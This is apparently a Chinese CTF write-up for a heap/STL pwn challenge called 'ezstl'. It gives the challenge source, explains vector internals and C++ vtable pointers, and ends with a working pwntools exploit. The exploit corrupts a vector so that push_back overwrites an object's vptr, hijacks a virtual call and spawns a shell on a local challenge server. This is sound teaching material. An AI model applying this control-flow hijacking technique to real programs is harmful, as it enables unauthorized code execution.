平凡挂壁路人一枚

公告

随缘更新不定内容，敬请期待！！！

Learn More

1220 words

6 minutes

另类的STL利用的堆题

2026-09-15

wp

pwn

/

wp

一天写一题，我速度真够吧快!.jpg#

艾斯比吧

ezstl#

1
 checksec pwn
2
[*] '/mnt/d/ctf/flag/pwn/moectf/ezstl/pwn'
3
    Arch:       amd64-64-little
4
    RELRO:      Full RELRO
5
    Stack:      Canary found
6
    NX:         NX enabled
7
    PIE:        PIE enabled
8
    SHSTK:      Enabled
9
    IBT:        Enabled

哎呀，骇死我力！

不管，先shift+f12

找到后门

1
unsigned __int64 sub_1329()
2
{
3
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]
4

5
  v1 = __readfsqword(0x28u);
6
  puts("admin badge");
7
  system("/bin/sh");
8
  return v1 - __readfsqword(0x28u);
9
}

再看pwn.cpp

1
#include <cstdio>
2
#include <cstdlib>
3
#include <unistd.h>
4
#include <vector>
5

6
class Badge {
7
public:
8
   virtual void show()
9
   {
10
       puts("guest badge");
11
   }
12
};
13

14
extern "C" void win()
15
{
16
   puts("admin badge");
17
   system("/bin/sh");
18
}
19

20
struct Profile {
21
   char name[0x30];
22
   std::vector<void *> styles;
23
   Badge badge;
24
};
25

26
struct StyleData {
27
   void *slot[1];
28
};
29

30
struct HeapData {
31
   Profile profile;
32
   StyleData custom_style;
33
};
34

35
void setup()
36
{
37
   setvbuf(stdin, NULL, _IONBF, 0);
38
   setvbuf(stdout, NULL, _IONBF, 0);
39
   setvbuf(stderr, NULL, _IONBF, 0);
40
   alarm(60);
41
}
42

43
unsigned long read_ulong()
44
{
45
   char buf[0x40] = {};
46
   size_t i = 0;
47

48
   while (i + 1 < sizeof(buf)) {
49
       char ch = 0;
50
       ssize_t n = read(0, &ch, 1);
51
       if (n <= 0) {
52
           exit(0);
53
       }
54
       if (ch == '\n') {
55
           break;
56
       }
57
       buf[i++] = ch;
58
   }
59

60
   return strtoul(buf, NULL, 0);
61
}
62

63
void add_style(Profile *profile, StyleData *style)
64
{
65
   profile->styles.push_back(style);
66
}
67

68
void check_badge(Badge *badge)
69
{
70
   badge->show();
71
}
72

73
int main()
74
{
75
   setup();
76

77
   HeapData *data = new HeapData;
78
   Profile *profile = &data->profile;
79
   StyleData *custom_style = &data->custom_style;
80

81
   puts("== pwn ==");
82
   printf("profile: %p\n", profile);
83

84
   printf("name: ");
85
   if (read(0, profile->name, 0x48) <= 0) {
86
       exit(0);
87
   }
88

89
   add_style(profile, custom_style);
90

91
   printf("win: %p\n", (void *)win);
92
   printf("style data: ");
93
   custom_style->slot[0] = (void *)read_ulong();
94

95
   puts("checking...");
96
   check_badge(&profile->badge);
97

98
   _exit(0);
99
}

不过也还好，profile的真实地址是直接给的，利用IDA看偏移就可以算基址

这个题溢出还是挺明显的,但这个题的指针是虚指针

~~两亿年没用过C艹以至于我已经忘记vector调用了，所以先恶补了一下~~

1
struct Profile {
2
    char name[0x30];              // 第 1 个成员
3
    std::vector<void *> styles;   // 第 2 个成员
4
    Badge badge;                  // 第 3 个成员（Badge，有 virtual → 带 vptr）
5
};

vector 对象本身 = 一个 3 指针的控制块，固定 0x18（24 字节）

现在就是覆盖的事情了,0x30+0x18正好是0x48,还能顺便覆盖个vector

那覆盖掉vector对我有什么好处呢

那就得讲解一下vector了

1
vector 对象布局（在 Profile 的 0x30~0x47）：
2
  _M_start         (0x30)  8B
3
  _M_finish        (0x38)  8B
4
  _M_end_of_storage(0x40)  8B
5
  合计 = 0x18

push_back

1
void push_back(const T& x) {
2
    if (_M_finish != _M_end_of_storage) {   // 还有空位？
3
        *_M_finish = x;                     //   ① 写到 _M_finish 指向的地址
4
        ++_M_finish;                        //   ② 写指针后移
5
    } else {
6
        _M_realloc_insert(end(), x);        //   ③ 满了 → 重分配
7
    }
8
}

1
_M_start         → 缓冲区第一个元素
2
_M_finish        → 最后一个元素“之后”（下一个要写的位置）
3
_M_end_of_storage → 已分配容量的“末尾”（再写就超了）

push_back写入的地址就是_M_finish当前指向的地方，然后_M_end_of_storage视情况是否分配内存

那你想要跳转就得有执行或者指针跳转是吧，Profile溢出之后正好只能到达vector，且vector指针再怎么传入也不能执行跳转操作，那就得考虑另辟蹊径，通过观察也就引出了另外一个指针

1
class Badge {
2
public:
3
    virtual void show()        // ← 这个 virtual 就是关键
4
    {
5
        puts("guest badge");
6
    }
7
};

~~我是懒鬼~~

C++ 规则：只要一个类声明了 virtual 成员函数（或继承了带虚函数的基类），编译器就会给这个类的每个对象自动插入一根隐藏的指针——虚指针（vptr），并额外生成一张“虚表（vtable）”。

源码里你看不到 vptr 的声明——它是编译器偷偷加的，不在你写的代码里。触发它存在的唯一条件就是 virtual。如果 show() 不带 virtual，Badge 就是个空类（0 字节，没有 vptr），badge->show() 也会是直接调用（编译期绑定），那就没有可劫持的间接跳转了。

虚表（vtable）：每个类一张，存 show 等虚函数的地址。虚指针（vptr）：每个对象一根，指向自己类的虚表。Badge 没有其它数据成员，所以 vptr 就是它的全部内容，且位于对象最开头（偏移 0）。

Badge 只有一根 vptr、没有别的数据成员，所以 vptr 是对象的最开头（偏移 0）

所以badge的起始位置也就是指针的起始位置

那现在有指针了，那就可以利用这个指针进行跳转了

由于最后一步有写入

1
 check_badge(&profile->badge);

回顾他的结构

1
void check_badge(Badge *badge)
2
{
3
    badge->show();
4
}

badge->show();等价于

1
vtable = *(badge);
2
func   = *(vtable + 0);
3
func(badge);

现在只需要想办法写入到这个虚指针就好了

那我们该怎么在payload里写呢

那么就是在填充字节后设置他的地址就好了

由于第一次打印会泄露出他的地址，所以要好好接住.jpg(我操，恶俗啊)

神必小约定:

_M_start 改成任意值
finish必须指向profile+0x48
M_end_of_storage必须 > _M_finish（如 profile+0x50），否则走扩容分支，原语失效

第一轮把指针指向好了，第二轮就可以输入win了

下面是exp

1
from pwn import *
2

3
context.arch = 'amd64'
4
context.log_level = 'info'
5

6
io = remote('127.0.0.1', 63944)
7

8
io.recvuntil(b'profile: ')
9
profile = int(io.recvline().strip(), 16)
10

11
payload  = b'A' * 0x30
12
payload += p64(profile)
13
payload += p64(profile + 0x48)
14
payload += p64(profile + 0x50)
15
assert len(payload) == 0x48
16

17
io.recvuntil(b'name: ')
18
io.send(payload)
19

20
io.recvuntil(b'win: ')
21
win = int(io.recvline().strip(), 16)
22

23
io.recvuntil(b'style data: ')
24
io.sendline(str(win).encode())
25

26
io.recvuntil(b'checking...')
27
io.interactive()